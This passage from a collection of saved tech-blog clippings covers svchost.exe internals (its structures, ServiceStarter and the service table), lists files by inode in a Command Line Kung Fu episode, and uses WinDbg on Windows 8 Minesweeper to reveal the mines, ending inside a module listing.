running under the current svchost instance.So for every svchost service called
, ServiceStarter is called.  
  
So what does ServiceStarter do??And how it looks like??  
  
I have to ask a question??  
Who pushes ServiceStarter arguments?? how its arguments look like???  
Okay,ServiceStarter is called by the SCM \(not by svchost\),so the SCM pushes
its arguments.  
it has two arguments:\_  
1\)argc 2\)argv  
In most cases argc is 1 and argv\[0\] is a pointer to the being-started
service.  
But the SCM may increase argc. when???  
If the user wants so, look at the 2 figures below  
<img src='img/xs.JPG' />  
<img src='img/xs2.JPG' />In each of the figures above,argc will be 2,argv\[0\]
will be DHCP and argv\[1\] is walied.  
Now lets go back to our main point. What does ServiceStarter do??  
1\) It iterates through all the ServiceArray elements searching for
\_SERVICE\_ARRAY\_ELEMENT::srv\_name which is the same as argv\[0\].  
2\)Once found,it calls function GetServiceMainFunctions which tries to resolve
both ServiceMain\(unless this name is configured in the registry\) and
SvchostPushServiceGlobals after loading the corresponging ServiceDLL
,Meanwhile a new \_SRV\_DLL\_INFO structure is inserted into the svchost
circular doubly linked list.  
3\)If Shared globals table is not constructed yet, function
\_SvchostBuildSharedGlobals is called to do this job.\(under some condition\).  
  
<img src='img/xs3.JPG' />3\)and \_SERVICE\_ARRAY\_ELEMENT::Count is
incremented. \(remeber it is decremented by function UnloadServiceDll\).  
4\)Function SvchostPushServiceGlobals will be called if resolved successfully.  
5\)Function ServiceMain will be called if resolved.  
6\)Function UnloadServiceDll is called.  
<img src='img/xs4.JPG' />I leave you to the figure above, it is the final part
of function ServiceStarter.this part really needs alot of discussion on how
ServiceStarter was implemented.  
  
Any suggestions are welcome.  
waliedassar@gmail.com

Posted by waliedassar at 9:10 AM 0 comments <img
src='img/9351_icon18_email.gif' width='18' height='13' /><img
src='img/icon18_edit_allbkg.gif' width='18' height='18' />

Email This BlogThis\! Share to Twitter Share to Facebook Share to Google Buzz

### Svchost from A to zinc part4

In the last 3 posts,We discussed the svchost functions which are called once
per an svchost instance.They are BuildCommandOptions,BuildServiceArray and
BuildServiceTable.  
And we also discussed three important data structures .  
1\)INSTANCE\_PARAMS  
2\)\_SERVICE\_ARRAY\_ELEMENT  
3\)\_SERVICE\_TABLE\_ELEMENT  
  
if you still remember , till now no members of the structure
\_SERVICE\_ARRAY\_ELEMENT except srv\_name is filled.  
So what about these other members??and when do they get filled???  
  
struct \_SERVICE\_ARRAY\_ELEMENT  
\{  
wchar\_t\* srv\_name;  
\_SRV\_DLL\_INFO\* srv\_dll\_info;  
char\* SvcMainName;  
unsigned long Count;  
FUNCPTR d;  
\};  
  
Lets take these members one by one  
1\)\_SERVICE\_ARRAY\_ELEMENT::srv\_name ,it is the service name in
ServiceNames.  
so , it is always pointing inside ServiceNames.  
2\)\_SERVICE\_ARRAY\_ELEMENT::srv\_dll\_info  
it is a pointer to another structure of different type. this structure holds
info about the service DLL.  
struct \_SRV\_DLL\_INFO  
\{  
\_SRV\_DLL\_INFO\* pNext;  
\_SRV\_DLL\_INFO\* pPrev;  
HMODULE hDll;  
wchar\_t\* dllName;  
\_SERVICE\_ARRAY\_ELEMENT\* pServiceArray;  
\};  
this structure itself is a node in a "Circular Doubly linked List".  
\_SRV\_DLL\_INFO::pNext is a pointer to the next node.  
\_SRV\_DLL\_INFO::pPrev is a pointer to the previous node.  
\_SRV\_DLL\_INFO::hDll is the loaded Service DLL handle.  
\_SRV\_DLL\_INFO::dllName is the Service DLL complete filename.  
\_SRV\_DLL\_INFO::pServiceArray is pointer to the corresponding
\_SERVICE\_ARRAY\_ELEMENT.  
So the final view will be like this...  
<img src='img/X.JPG' />In the figure above,only Audiosrv and Browser are
started,So only Audiosrv and Browser have Nodes inserted into this circular
doubly linked list.BITS is not started yet so it has no node.  
  
N.B two global variables of type \_SRV\_DLL\_INFO\* exist to act as the Linked
list Head and tail.  
DllList acts as the head and DllList2 acts as the tail.  
N.B For every Service loaded , A new node is inserted into this circular
doubly linked list and its  
\_SERVICE\_ARRAY\_ELEMENT::srv\_dll\_info is null.  
N.B If a svchost service is started,structure \_SERVICE\_ARRAY\_ELEMENT points
at structure \_SRV\_DLL\_INFO and vice versa.  
3\)\_SERVICE\_ARRAY\_ELEMENT::SvcMainName  
N.B Each svchost Service DLL must export at least one function for some
specific tasks.In most cases this function is exported under the name
"ServiceMain".You can use other names as long as you configure the registry
properly.  
<img src='img/9365_11.JPG' />\_SERVICE\_ARRAY\_ELEMENT::SvcMainName is a
pointer to the name of the corresponding svchost service DLL ServiceMain.if it
is zero, "ServiceMain is assumed".  
it is of type char\* not wchar\_t\* \(for compatibilty with function
GetProcAddress\).  
<img src='img/22.JPG' />  
N.B ServiceMain is different from DllMain.  
DllMain is called just after svchost calls LoadLibraryEx but ServiceMain is
called by ServiceStarter\(we will talk about Service Starter later,Just some
patience\).  
N.B There is another function that many svchost service DLLs export,it is
SvchostPushServiceGlobals\(we will talk about its functionality later in this
post\).  
Unlike ServiceMain ,its name cant be configured through the registry.It is
always with this name.  
<img src='img/33.JPG' />The figure above shows the exported functions by
wzcsvc "Wireless zero configuration" service.  
WZCSvcMain and SvchostPushServiceGlobals.  
  
4\)\_SERVICE\_ARRAY\_ELEMENT::Count this member is incremented,by function
ServiceStarter or function \_SvcRegisterStopCallback, And decremented by
function UnloadServiceDLL.  
<img src='img/222.JPG' />5\)\_SERVICE\_ARRAY\_ELEMENT::d ,this is a pointer to
the service specific stop callback function.This callback is called when a
specific service object is signaled.  
You may ask me how svchost knows about this callback??Is it exported by the
service DLL??  
No,the service Dll does not export it but it exports another function
SvchostPushServiceGlobals.  
This function lets svchost provide the service with some data structure called
shared globals table.  
struct SHARED\_GLOBALS\_TABLE  
\{  
unsigned char\* pNullSid;  
unsigned char\* pWorldSid;  
unsigned char\* pLocalSid;  
unsigned char\* pNetworkSid;  
unsigned char\* pLocalSystemSid;  
unsigned char\* pLocalServiceSid;  
unsigned char\* pNetworkServiceSid;  
unsigned char\* pBuiltinDomainSid;  
unsigned char\* pAuthenticatedUserSid;  
unsigned char\* pAnonymousLogonSid;  
unsigned char\* pAliasAdminsSid;  
unsigned char\* pAliasUsersSid;  
unsigned char\* pAliasGuestsSid;  
unsigned char\* pAliasPowerUsersSid;  
unsigned char\* pAliasAccountOpsSid;  
unsigned char\* pAliasSystemOpsSid;  
unsigned char\* pAliasPrintOpsSid;  
unsigned char\* pAliasBackupOpsSid;  
//--  
FPTR3 pRpcStartServer;  
FPTR4 pRpcStopServer;  
FPTR4 pRpcStopServerEx;  
//--  
FPTR5 pNetBiosOpen;  
FPTR5 pNetBiosClose;  
FPTR6 pNetBiosReset;  
//----  
FPTR7 pRegisterStopCallback;  
\};  
//here we only care about the last member of this structure
SHARED\_GLOBALS\_TABLE::pRegisterStopCallback.  
Once SvchostPushServiceGlobals is called with this table as its argument,The
service will be aware of a function in svchost that will register its own stop
callback and store its address in the service \_SERVICE\_ARRAY\_ELEMENT::d.  
So here is the scenario:\_  
1\)svchost builds the shared globals table.  
2\)svchost calls the service DLL function SvchostPushServiceGlobals,to provide
it with this table.  
3\)The service calls SHARED\_GLOBALS\_TABLE::pRegisterStopCallback which
\(a\)registers a wait on a service specific object.\(b\) increments
\_SERVICE\_ARRAY\_ELEMENT::Count \(c\) stores the service specific callback
into \_SERVICE\_ARRAY\_ELEMENT::d  
<img src='img/XX.JPG' />  
4\)Once this object \(svchost knows nothing about this object except its
handle\) is handled,svchost function \_SvchostStopCallback is called.which
\(a\)calls the service specific callback \(b\)unloads yhe service DLL.  
A question arises here , why all these steps for stopping an svchost service??  
I asked myself this question??  
The answer was simply "DllUnloadOnStop" How?  
Some services need to unload its Dll on stop, the others dont.  
The svchost Service which doesn't need to unload its Dll ,doesn't need to care
about these steps.  
The svchost service which needs to unload its Dll ,simply can't do this by
itself\(Cuz no DLL calls FreeLibrary to free itself from the current process
Address space\).  
Till now ,we are still preparing for function ServiceStarter which i consider
the backbone for svchost .  
  
Any suggestions or ideas are welcome  
  
  
  

Posted by waliedassar at 8:23 AM 0 comments <img
src='img/9351_icon18_email.gif' width='18' height='13' /><img
src='img/icon18_edit_allbkg.gif' width='18' height='18' />

Email This BlogThis\! Share to Twitter Share to Facebook Share to Google Buzz

## Saturday, September 4, 2010

### Svchost from A to Zinc part3

In the beginning of this post, i want to remind you with the difference
between 2 variables that you should be aware of.  
1\)ServiceNames is a global variable that points at the REG\_MULTI\_SZ
extracted from the registry representing the names of the services under the
current category.  
<img src='img/9357_5.JPG' />  
2\)ServiceArray which is an array to elements each of type
\_SERVICE\_ARRAY\_ELEMNT  
struct \_SERVICE\_ARRAY\_ELEMENT  
\{  
wchar\_t\* srv\_name;  
\_SRV\_DLL\_INFO\* srv\_dll\_info;  
char\* SvcMainName;  
unsigned long Count;  
FUNCPTR d;  
\};  
None of \_SERVICE\_ARRAY\_ELEMENT memebrs except srv\_name is filled till now.  
<img src='img/9372_X.JPG' />As you can see in the figure above,each
\_SERVICE\_ARRAY\_ELEMENT::srv\_name points at a string in ServiceNames.  
///-----  
Now after you became aware of the difference between ServiceNames and
ServiceArray,we will now go to the Service Table and how it is constructed.  
Generally,the service Table is an array of \_SERVICE\_TABLE\_ELEMENT  
struct \_SERVICE\_TABLE\_ELEMENT  
\{  
wchar\_t\* lpServiceName;  
FUNCPTR2 lpFuncPtr;  
\};  
Documented in MSDN under the name of SERVICE\_TABLE\_ENTRY.  
First member of this structure is the service name  
Second member is the service code entry point.  
//-------------------------  
Function BuildServiceTable has the task of constructing the service table.  
It does the following  
1\)Given ServiceCount ,Memory for the service table is allocated.  
2\)Each \_SERVICE\_TABLE\_ELEMENT::lpServiceName takes
\_SERVICE\_ARRAY\_ELEMENT::srv\_name.  
i.e it is also made to point at a string in ServiceNames.  
3\)Each \_SERVICE\_TABLE\_ELEMENT::lpFuncPtr is made to hold the address of a
function residing in svchost.exe called ServiceStarter.  
And this function is the Entry point for every service ,responsible for doing
some initialization tasks then calling the service specific entry point.  
N.B The last Service table element must be zero.  
<img src='img/9362_X.JPG' />And here is the c++ code for this function  
<img src='img/t.JPG' />Once the service table is constructed,it should be
passed to StartServiceCtrlDispatcher.  
StartServiceCtrlDispatcher connects the svchost instance main thread to the
SCM\(Service control manager\) which decides which service of the ones in the
Service table to be started.  
For each service approved by the scm to be started,a new thread for this
Service is created within svchost instance.  
For more info about the SCM and StartServiceCtrlDispatcher ,refer to the MSDN.  
  
In earlier posts,we categoried the functions within svchost into  
1\)functions running once per instance  
like BuildCommandOptions,BuildServiceArray,BuildServiceTable and
StartServiceCtrlDispatcher.  
2\)functions running per service.  
like ServerStarter  
  
we finished discussing the first category.  
So in the next post we will discuss the function ServiceStarter.  
  
Any suggestions or ideas are very welcome.  
  

Posted by waliedassar at 12:04 PM 0 comments <img
src='img/9351_icon18_email.gif' width='18' height='13' /><img
src='img/icon18_edit_allbkg.gif' width='18' height='18' />

Email This BlogThis\! Share to Twitter Share to Facebook Share to Google Buzz

Labels: internals, reversing, secret, secrets, svchost

### Svchost from A to Zinc part2

<img src='img/3.JPG' />

In this post , i will discuss function BuildServiceArray in details.As we see
in this figure ,the argument it takes is the pointer returned by function
BuildCommandOptions.This pointer has the type INSTANCE\_PARAMS\*.  
struct INSTANCE\_PARAMS  
\{  
wchar\_t\* cmdline;  
wchar\_t\* cmdline2;  
bool gpFound;  
wchar\_t\* svc\_gp;  
unsigned long CoInitia;  
unsigned long Authentica;  
unsigned long Impersona;  
unsigned long AuthenticaCapa;  
unsigned long RpcStack;  
\};  
We can dissect this structure into two halves,the first half contains the
input members, and second half which contains the output members.  
i.e BuildServiceArray reads from the first half and writes to second half.  
  
So what does this function really do???  
1\)The registry key "HKEY\_LOCAL\_MACHINE\SOFTWARE\Microsoft\Windows
NT\CurrentVersion\SvcHost" is opened.  
2\)A Registry value under the opened key with the same name as
INSTANCE\_PARAMS::svc\_gp is read .It has the type REG\_MULTI\_SZ and contains
the names of the services under this category.The value read is stored in a
global variable called ServiceNames.  
3\)After this registry value is read successfully.A subkey with the same name
as INSTANCE\_PARAMS::svc\_gp is opened and some values under this subkey is
read into  
INSTANCE\_PARAMS:: CoInitia  
INSTANCE\_PARAMS:: Authentica  
INSTANCE\_PARAMS:: Impersona  
INSTANCE\_PARAMS:: AuthenticaCapa  
INSTANCE\_PARAMS:: RpcStack  
then the subkey handle is closed  
4\)the key handle is closed  
5\)the REG\_MULTI\_SZ value is traversed for the purpose of calculating the
number of services under this category then this number is stored in a global
variable called ServiceCount  
6\)Then the service array is allocated ,A pointer to it is stored in a global
variable called ServiceArray  
,Each element of the service array has the the structure  
struct \_SERVICE\_ARRAY\_ELEMENT  
\{  
wchar\_t\* srv\_name;  
\_SRV\_DLL\_INFO\* srv\_dll\_info;  
char\* SvcMainName;  
unsigned long Count;  
FUNCPTR d;  
\};  
7\)Each \_SERVICE\_ARRAY\_ELEMENT::srv\_name is made to point at the
corresponding Service name in the REG\_MULTI\_SZ string.  
<img src='img/B.JPG' />  
<img src='img/C.JPG' />Till now we have only the ServiceNames array and the
ServiceArray array.  
And they both look like this  
Only \_SERVICE\_ARRAY\_ELEMENT::srv\_name is filled ,the other members of the
structure are null.  
<img src='img/9372_X.JPG' />  
The service Table is not constructed yet.  
And this what we will see in the Next post.  
  
Any ideas or suggestions are welcome.  

Posted by waliedassar at 7:44 AM 0 comments <img
src='img/9351_icon18_email.gif' width='18' height='13' /><img
src='img/icon18_edit_allbkg.gif' width='18' height='18' />

Email This BlogThis\! Share to Twitter Share to Facebook Share to Google Buzz

Labels: internals, reversing, secret, secrets, svchost

## Friday, September 3, 2010

### Svchost from A to Zinc part1

The next few posts,i will be discussing svchost.exe,and its internals.Svchost
is responsible for surrogating lots of windows services\(those of type
SERVICE\_WIN32\_SHARE\_PROCESS\).  
To see how many of them exist on your windows version ,just use tasklist /svc.  
<img src='img/9361_1.JPG' />As you can see there 5 instances of svchost.exe on
my PC\(it may differs from PC to Another\).  
Each instance of these,surrogates one or more service.  
for example one of the instances in the figure above,surrogates 2 services
DcomLaunch and TermService.  
So any optimizations in svchost code will influence greatly your machine
performance.And due to this high number of instances and services,svchost is a
good target for malware,So a good study is necessary as i guess.  
  
So get ready to discussing everything about svchost from A to Zinc\(lol\)  
  
svchost internal data structure will be revealed in this series ,only for the
purpose of learning,nothing else.  
  
///--------  
First question you may ask is "why all these instances?" , simple question.and
the answer will be also simple "cuz they have common properties ."  
Ok ,How each svchost knows its child services.???  
If you use wmic to see each process commandline, you will be so close.  
  
<img src='img/2.JPG' />One of the svchost instances in the figure above,has
the command line  
"C:\WINDOWS\system32\svchost -k netsvcs"  
so this tells us that netsvcs refers to the name for the group of services
that will be running under this instance.\(k switch for determining the
service group or category svchost will surrogate\).  
///----  
I will be using olly debugger for the purpose of reversing svchost.  
  
Starting with the main function and it does the following  
1\)Parsing svchost commandline using a function called BuildCommandOptions.  
which returns a pointer to a structure of type INSTANCE\_PARAMS.  
  
struct INSTANCE\_PARAMS  
\{  
wchar\_t\* cmdline;  
wchar\_t\* cmdline2;  
bool gpFound;  
wchar\_t\* svc\_gp;  
unsigned long CoInitia;  
unsigned long Authentica;  
unsigned long Impersona;  
unsigned long AuthenticaCapa;  
unsigned long RpcStack;  
\};  
  
2\)calling function BuildServiceArray ,this function takes the pointer
returned by BuildCommandOptions as an argument and creates an array of
structures of type \_SERVICE\_ARRAY\_ELEMENT  
  
struct \_SERVICE\_ARRAY\_ELEMENT  
\{  
wchar\_t\* srv\_name;  
\_SRV\_DLL\_INFO\* srv\_dll\_info;  
char\* SvcMainName;  
unsigned long Count;  
FUNCPTR d;  
\};  
  
It stores the array address in a global variable called ServiceArray  
3\)calling function called BuildServiceTable which returns a pointer to an
array of structures each of type \_SERVICE\_TABLE\_ELEMENT.  
  
struct \_SERVICE\_TABLE\_ELEMENT  
\{  
wchar\_t\* lpServiceName;  
FUNCPTR2 lpFuncPtr;  
\};  
the pointer returned by this function,is passed to function
StartServiceCtrlDispatcherW.  
StartServiceCtrlDispatcherW connects the main thread of svchost process to the
SCM\(refer to MSDN for info about SCM\).  
//-------------------------------  
Back to \_SERVICE\_TABLE\_ELEMENT  
Its first member is a pointer to a string representing the service name and
the second member is an entry point of a service specific function\(yes , it
should be a service specific function but in case of svchost ,it is always the
entry point of function ServiceStarter,a function residing in svchost
itself,ServiceStarter in turn calls service specific functions\).  
An array of \_SERVICE\_TABLE\_ELEMENT elements ,with the last element zero is
called the Service Table.  
This table lets the svchost tell the SCM about the services it is
surrogating,waiting for SCM approval about each one.\(All this takes place in
the process main thread\).  
You should be aware that each service in any svchost instance has its own
thread.  
conclusion  
BuildCommandOptions,BuildServiceArray,BuildServiceTable are called once per
svchost process  
\(process main thread\).  
But ServiceStarter is called for each service\(Under its own thread\).  
  
So functions in svchost can categorized as follows:\_  
1\)functions called once. \(called per instance,under main thread\).  
2\)functions called with each service.\(called per servic,under the service
own thread\).  
//----------so here is an excerpt from svchost main function  

<img src='img/3.JPG' />

  
  

In the next post, we will dive into the function BuildServiceArray.  
Any suggestions or ideas are very welcome.

  *[12:44 AM]: 2010-09-10T00:44:00-07:00
  *[12:41 PM]: 2010-09-09T12:41:00-07:00
  *[9:10 AM]: 2010-09-05T09:10:00-07:00
  *[8:23 AM]: 2010-09-05T08:23:00-07:00
  *[12:04 PM]: 2010-09-04T12:04:00-07:00
  *[7:44 AM]: 2010-09-04T07:44:00-07:00

# Peter Van Eeckhoutte´s Blog :: \[Knowledge is not an object, it´s a flow\]
:: Exploit writing tutorial part 4 : From Exploit to Metasploit – The basics

**Created:**| _12/28/2009 10:07:42 PM_  
---|---  
**Updated:**| _12/28/2009 10:07:59 PM_  
**Author:**| __  
**Tags:**| _Exploit Tutorials_  
  
<img src='img/Temp2_6218' />

# Command Line Kung Fu: Episode \#11 - Listing Files by Inode as a Proxy for
Create Time

**Created:**| _5/16/2009 10:33:55 AM_  
---|---  
**Updated:**| _5/16/2009 10:34:00 AM_  
**Author:**| __  
**Tags:**| _commandline-kungfu_  
  

### Episode \#11 - Listing Files by Inode as a Proxy for Create Time

Hal Says:  
  
One of the problems with classic Unix file systems \(FFS, UFS, ext\[23\],
etc\) is that they don't track the creation time of files \("ctime" in Unix is
the inode change time, not the creation time\). However, forensically it's
often very useful to know when a given file was created.  
  
While there's no way to know the exact creation date of a file from file
system metadata, you can use the assigned inode number of the file-- because
inodes tend to be assigned sequentially-- as a proxy to figure out the
relative creation dates of files in a directory:  

[code]

    $ ls -li /etc | sort -n  
    total 4468  
    1835010 drwxr-xr-x  5 root root      4096 Nov 23 10:04 lvm  
    1835011 drwxr-xr-x 10 root root      4096 Nov 23 10:04 sysconfig  
    1835013 drwxr-xr-x  8 root root      4096 Nov 23 10:01 X11  
    1835014 drwxr-xr-x  2 root root      4096 May 24  2008 rpm  
    1835018 -rw-r--r--  1 root root       435 Jul 14  2007 reader.conf  
    1835019 -rw-r--r--  1 root root       105 Jul 14  2007 modprobe.conf  
    ...  
    1837339 -rw-r--r--  1 root root      2200 Jul 22  2008 passwd  
    1837348 -rw-r--r--  1 root root       814 Jul 22  2008 group  
    1867786 drwxr-xr-x  4 root root      4096 May 24  2008 gimp  
    1867804 drwxr-xr-x  2 root root      4096 Jul 14  2007 sane.d  
    1867868 drwxr-xr-x  7 root root      4096 Jul 22  2008 gdm  
    1867890 drwxr-xr-x  2 root root      4096 Jul 22  2008 setroubleshoot  
    1867906 drwxr-xr-x  3 root root      4096 Aug  8  2007 apt  
    1867925 drwxr-xr-x  3 root root      4096 Aug  8  2007 smart  
    1867929 drwxr-xr-x  5 root root      4096 Dec 11 14:24 raddb  
    1867954 drwxr-xr-x 10 root root      4096 Dec 15 09:03 vmware  
    1867972 drwxr-xr-x  2 root root      4096 Aug  8  2007 syslog-ng  
    1868042 drwxrwsr-x  2 root mailman   4096 Jul 22  2008 mailman  
    1868075 drwxr-x---  3 root root      4096 Jul 22  2008 audisp  
    1900546 drwxr-xr-x  2 root root      4096 Jul 22  2008 purple  
    1933364 drwxr-xr-x  2 root root      4096 Nov 23 14:08 vmware-vix  
    2293777 -rw-r--r--  1 root root    362031 Nov 23 14:04 services
    
[/code]

  
At the top of the output you can see that the inodes are clustered tightly
together, indicating these files were probably all created about the same
time-- typically when the system was first installed. Towards the end of the
output, however, you can see other "clusters" of inode numbers corresponding
to groups of files that were created around the same time. In this case, these
are mostly the configuration directories for software packages I added after
the initial OS install.  
  
Ed Responds:  
  
"...A proxy to figure the relative creation dates of files"? Oh my... If I may
indulge in a little trash talk, you'd think that a real operating system would
have some better way of tracking file creation times than resorting to inode
numbers.  
  
Just to pick an alternative operating system at random off the top of my head,
let's consider... um... Windows. Yeah, Windows.  
  
Oh yes, we have file creation time, which can be displayed using the really
obscure dir command.  
  
In all seriousness, by default, the dir command displays file modification
date and time. If you want it to display creation time, simply run it with the
/tc option. The /t indicates you want to twiddle with the time field \(yeah,
it stands for "twiddle" ;\). The options after it are c for creation
date/time, a indicates last access, and w is for last written. For example:  
  

[code]

    $ dir /tc
    
[/code]

  
Lot simpler than Hal's fu above, and it gets the job done.  
  
Oh, and Hal wanted them sorted. Sadly, we don't have a numeric sort in
Windows, just an alphanumeric one. But, that lament is for another day,
because we can sort based on time stamp right within dir, as follows:  
  

[code]

    $ dir /tc /od
    
[/code]

  
The /o indicates we want to provide a sort order, and we're sorting by date,
oldest first. To reverse the order \(newest first\), use /o-d, with the minus
reversing the date sort.

# Hacking Minesweeper for Windows 8 - Debugging Toolbox - Site Home - MSDN
Blogs

**Created:**| _5/14/2014 11:52:07 AM_  
---|---  
**Updated:**| _5/14/2014 11:52:07 AM_  
**Author:**| __  
**Tags:**| _Debugging reversing_  
  

# Hacking Minesweeper for Windows 8

14 May 2014 12:36 AM

This post complements my previous post in which I shared a PowerPoint
presentation about debugging. Here I explain how I hacked **Minesweeper for
Windows 8**.

Don’t get me wrong, the purpose is to demonstrate the power of debugging and
the importance of thinking low level while debugging. Keep in mind that the
work could have been simplified using other tools, but my goal was to use
WinDbg only. Also, the goal is to cheat on Minesweeper and force the app to do
what we want; not to find out the key combinations to activate the cheats. We
want to display all the hidden bombs; exactly what I did for Minesweeper
running on Windows XP.

So we go from this:

<img src='http://blogs.msdn.com/resized-
image.ashx/__size/550x0/__key/communityserver-blogs-components-
weblogfiles/00-00-00-81-63/5672.EmptyBoard.png' />

To this:

<img src='http://blogs.msdn.com/resized-
image.ashx/__size/550x0/__key/communityserver-blogs-components-
weblogfiles/00-00-00-81-63/0116.BoardWithMines.png' />

I bet you agree the approach of forcing the app to do what we want is much
more fun. ;-\)

Thus, to begin with, I will tell you the approach I decided to use, which is
by no means not the only valid approach.

My first goal was to identify the part of the code where the board is
assembled in memory. I realized the board is very likely an array where the
elements represent an empty square or a square with a bomb based on numeric
value.

If you are not familiar with Windows 8 apps, just checking the modules
\(dlls\) would be enough to find out it uses managed code.  
Based on that I loaded a few suspicious modules to find out if the code was
obfuscated or not. Keep in mind it wouldn’t have been a problem if the code
were obfuscated; however, it would have taken more debugging time.

After doing that I realized I could decompile the code and browse classes and
methods. I used the ILSpy tool

Here is the beginning of the debugging session:

\- Use WinDbg 32 bits

\- Important\!\!\!

_" With typical desktop applications, the user launches an app and it runs
until he terminates it. The application continues to run even when it’s not in
the forefront. Windows Store apps are a bit different. When an app isn’t in
the forefront, a Windows Service—the Runtime Broker—suspends all threads in
the app, and wakes them back up only when the app is in the forefront. This
novel feature helps preserve overall system performance and battery life. With
Windows 8.1, even when an app is closed by the user, the default action is to
place the app into a suspended state and not terminate it. If you prefer the
older Windows 8 functionality, you can set
Windows.ApplicationModel.ClosePolicy.TerminateOnClose equal to true."_

http://msdn.microsoft.com/en-us/magazine/dn385708.aspx

\- So you **must** use **PLMDebug** \- http://msdn.microsoft.com/en-
us/library/windows/hardware/jj680085%28v=vs.85%29.aspx

\- Command line I use: **plmdebug /enableDebug <PID>
"C:\debuggers32bit\windbg.exe"**

\- You’ll need the extension **SOS.DLL**.

\- Attach debugger after using **plmDebug** otherwise you won’t be able to
debug the application.

\- Type **g** and resume the execution since WinDbg probably is waiting for
you to type a command.

\- **Note:** If you just want the **script** to cheat on Minesweeper, jump to
the final part of this blog  
article. ;-\)

\- After you see the dlls loaded, break into the debugger and:

**.reload /f**

**.load sos**

\- Problems to load **SOS.DLL** very likely indicate that **CLR.DLL** was not
initialized yet, so just type **g** , continue execution and break into the
debugger a little after that.

\- Keep in mind the PowerPoint from my previous blog post refers to demos, so
the tags below map to the PowerPoint slide.

**\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#**

**\#\#\# DEMO \#2**

**\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#**

\- **Note:** Demo \#1 is in the PowerPoint from the previous blog post. ;-\)

\- List modules, we see pre-compiled .NET assemblies so we can reverse
engineer the modules if they are not obfuscated:

**lm1m**

Minesweeper

Microsoft\_TimedText\_ni

Arkadium\_GameNetLib\_ni

WSShared

Arkadium\_XboxLive\_ni

Windows\_Networking\_ni

MinesweeperPathfinderModel\_ni

Arkadium\_SharpDXEngine\_Win8\_ni

Arkadium\_GameEngine\_Win8\_ni

Windows\_UI\_Immersive

Microsoft\_Xbox

MinesweeperCore\_ni

SharpDX\_ni

xaudio2\_8

Windows\_UI\_Xaml

Microsoft\_VideoAdvertising\_ni

SharpDX\_Direct2D1\_ni

SharpDX\_DXGI\_ni

mfsrcsnk

Windows\_Data\_ni

Windows\_Devices\_ni

SharpDX\_XAudio2\_ni

Windows\_Security\_ni

SharpDX\_Direct3D11\_ni

Windows\_Storage\_ni

Windows\_Graphics\_ni

System\_Runtime\_InteropServices\_ni

System\_Runtime\_Serialization\_ni

System\_ServiceModel\_ni

diasymreader

comScore\_ni

System\_IO\_ni

Arkadium\_SharpDXEngine\_AudioLoader

Arkadium\_SharpDXEngine\_AudioLoader\_ni

Microsoft\_Games\_Sentient\_ni

System\_ServiceModel\_Internals\_ni

SMDiagnostics\_ni

Windows\_System\_ni

AUTHZ

winbio

easwrt

MicrosoftAdvertising\_ni

Windows\_UI\_Xaml\_ni

winrnr

pnrpnsp

napinsp

NLAapi

rasman

rasapi32

windowscodecsext

samcli

netutils

Arkadium\_NetworkManager\_ni

Microsoft\_PlayerFramework\_ni

Windows\_Globalization\_Fontgroups

Arkadium\_DailyChallengeModule\_ni

SAMLIB

System\_Threading\_Tasks\_ni

System\_Diagnostics\_Debug\_ni

Windows\_Media\_ni

System\_Xml\_Linq\_ni

System\_Net\_Http\_ni

UIAutomationCore

System\_Xml\_ni

System\_Configuration\_ni

System\_Core\_ni

System\_ni

clrjit

mscorlib\_ni

MSVCR120\_CLR0400

mscoreei

MSCOREE

Windows\_Globalization\_ni

DUI70

wevtapi

WSSync

WSClient

System\_Collections\_ni

Windows\_ApplicationModel\_Store

CEServices\_ni

Microsoft\_PlayerFramework\_Advertising\_ni

System\_ServiceModel\_Primitives\_ni

Windows\_ApplicationModel\_ni

windowscodecs

Arkadium\_SharedEntities\_ni

Microsoft\_Xbox\_ni

msxml6

System\_Net\_Primitives\_ni

ksuser

mfcore

System\_Runtime\_Serialization\_Primitives\_ni

Windows\_Foundation\_ni

Microsoft\_Advertising\_WinRT\_UI\_ni

System\_Runtime\_WindowsRuntime\_UI\_Xaml\_ni

System\_ObjectModel\_ni

Arkadium\_CdnModule\_ni

Arkadium\_Xaml\_Toolkit\_ni

gpapi

ncryptsslp

schannel

winhttp

ondemandconnroutehelper

dhcpcsvc

dhcpcsvc6

WINNSI

iphlpapi

wshBth

Microsoft\_Xaml\_Interactions\_ni

Windows\_Networking\_Connectivity

XmlLite

Microsoft\_Xaml\_Interactivity\_ni

MinesweeperUI\_DP4\_ni

Windows\_Globalization

PROPSYS

Microsoft\_Practices\_ServiceLocation\_ni

RTWorkQ

FirewallAPI

Arkadium\_Advertisement\_ni

Windows\_UI\_ni

MFPlat

Arkadium\_NavigationModule\_ni

Arkadium\_LeaderboardModule\_ni

Arkadium\_AwardsModule\_ni

Common\_ni

Arkadium\_AchievementsModule\_ni

Arkadium\_WindowsStoreModule\_ni

Minesweeper\_ni

Arkadium\_Core\_Win8\_ni

System\_Runtime\_WindowsRuntime\_ni

elscore

GalaSoft\_MvvmLight\_Extras\_Win8\_ni

Arkadium\_ApplicationFramework\_ni

AppFramework\_SharedEntities\_ni

Windows\_Security\_Authentication\_OnlineId

Windows\_Graphics

PhotoMetadataHandler

wpnapps

GalaSoft\_MvvmLight\_Win8\_ni

System\_Runtime\_ni

System\_Runtime\_InteropServices\_WindowsRuntime\_ni

CryptoWinRT

Windows\_System\_Profile\_HardwareId

Windows\_Networking\_HostName

threadpoolwinrt

MFReadWrite

Windows\_Networking

msvcp120\_app

vccorlib120\_app

Windows\_ApplicationModel

msvcr120\_app

Windows\_Storage\_ApplicationData

biwinrt

TWINAPI

dcomp

igdusc32

NTASN1

ncrypt

igd10iumd32

secur32

d3d11

actxprxy

dwrite

UxTheme

dwmapi

NInput

Windows\_UI

Bcp47Langs

MrmCoreR

WININET

twinapi\_appcore

urlmon

iertutil

WinTypes

profapi

fwpuclnt

rasadhlp

DNSAPI

mswsock

bcrypt

rsaenh

CRYPTSP

powrprof

AUDIOSES

MMDevApi

kernel\_appcore

DEVOBJ

shcore

bcryptPrimitives

CRYPTBASE

SspiCli

ADVAPI32

ole32

msvcrt

SHELL32

SETUPAPI

sechost

KERNELBASE

GDI32

KERNEL32

WS2\_32

USER32

combase

SHLWAPI

MSCTF

RPCRT4

OLEAUT32

MSASN1

IMM32

cfgmgr32

CRYPT32

ntdll

Windows.ApplicationModel.dll

wintypes.dll

shcore.dll

peerdist.dll

